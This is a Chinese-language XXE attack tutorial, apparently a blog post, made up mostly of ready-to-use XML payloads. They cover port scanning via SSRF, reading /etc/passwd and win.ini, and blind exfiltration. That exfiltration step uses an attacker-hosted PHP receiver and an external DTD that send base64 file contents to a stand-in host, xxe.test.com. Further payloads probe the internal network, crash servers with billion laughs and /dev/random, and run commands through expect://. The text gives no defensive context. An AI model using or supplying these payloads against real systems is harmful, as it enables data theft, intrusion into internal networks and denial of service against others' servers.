0x01: 端口扫描

在第一个示例中,我们通过URI将请求指向了/etc/passwd文件,并最终成功的为我们返回了文件中的内容。除此之外,我们也可以使用 http URI 并强制服务器向我们指定的端点和端口发送GET请求,将 XXE 转换为SSRF(服务器端请求伪造)。
以下代码将尝试与端口通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启。探测内网端口

  1. #修改 http://127.0.0.1:80 为任意地址端口
  2. <?xml version="1.0" encoding="utf-8"?>
  3. <!DOCTYPE xxe [
  4. <!ELEMENT name ANY >
  5. <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
  6. <root>
  7. <name>&xxe;</name>
  8. </root>

运行以后
如果访问的端口是打开的,那么他返回就会很快
如果返回很慢,就说明端口没开

0x02: 读取文件

有回显

利用各种协议可以读取文件,比如file://,php://filter

  1. # windows 读取文件-file
  2. <?xml version="1.0" encoding="UTF-8" ?>
  3. <!DOCTYPE ANY [
  4. <!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini" >]>
  5. <value>&xxe;</value>

image.png

  1. # windows 读取文件-php://filter
  2. <?xml version="1.0" encoding="utf-8"?>
  3. <!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/Windows/win.ini">]>
  4. <root>&file;</root>
  1. # linux 读取文件
  2. <?xml version="1.0" encoding="UTF-8" ?>
  3. <!DOCTYPE ANY [
  4. <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
  5. <value>&xxe;</value>
  1. # linux 读取文件-php://filter
  2. <?xml version="1.0" encoding="utf-8"?>
  3. <!DOCTYPE root [<!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
  4. <root>&file;</root>

无回显

无回显的的话则需要将文件读取的内容发送到我们的远程服务器上。

  1. // 模拟情景
  2. A服务器:攻击方 域名:http://xxe.test.com
  3. B服务器:受害者 域名:http://atest.test
  1. // 1.在A服务器建立php文件接收数据
  2. // 文件名称:get.php
  3. <?php
  4. file_put_contents('xxe_data.txt', $_GET['xxe_local']);
  5. ?>
  1. // 2.在A服务器建立xml文件给 B服务器引入
  2. // 文件名称:1.xml
  3. <!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=C:/Windows/win.ini">
  4. <!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://xxe.test.com/get.php?xxe_local=%data;'>">
  1. // 此payload运行在 http://atest.test
  2. <?xml version="1.0" ?>
  3. <!DOCTYPE r [
  4. <!ELEMENT r ANY >
  5. <!ENTITY % sp SYSTEM "http://xxe.test.com/1.xml">
  6. %sp;
  7. %param1;
  8. ]>
  9. <r>&exfil;</r>

在目标站点执行
image.png

执行完以后会把数据base64回传给get.php
get.php会创建一个xxe_data.txt文件并且写入数据
image.png

0x03: 内网探测

  1. 和读文件差不多,只不过把URI改成内网机器地址
  2. <?xml version="1.0" encoding="UTF-8"?>
  3. <!DOCTYPE foo [
  4. <!ELEMENT foo ANY >
  5. <!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
  6. ]>
  7. <user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

0x04: DOS

  1. <?xml version="1.0"?>
  2. <!DOCTYPE lolz [
  3. <!ENTITY lol "lol">
  4. <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  5. <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  6. <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  7. <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  8. <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  9. <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  10. <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  11. <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
  12. ]>
  13. <lolz>&lol9;</lolz>
  14. 此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。
  15. 亦或者,如果目标是UNIX系统,
  16. 如果 XML 解析器尝试使用/dev/random文件中的内容来替代实体
  17. ,则此示例会使服务器(使用 UNIX 系统)崩溃。
  18. <?xml version="1.0" encoding="ISO-8859-1"?>
  19. <!DOCTYPE foo [
  20. <!ELEMENT foo ANY >
  21. <!ENTITY xxe SYSTEM "file:///dev/random" >]>
  22. <foo>&xxe;</foo>

0x05:执行系统命令

需要系统安装了PECL上的Expect拓展

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE xxe [
  3. <!ELEMENT name ANY >
  4. <!ENTITY xxe SYSTEM "expect://ipconfig" >]>
  5. <root>
  6. <name>&xxe;</name>
  7. </root>

**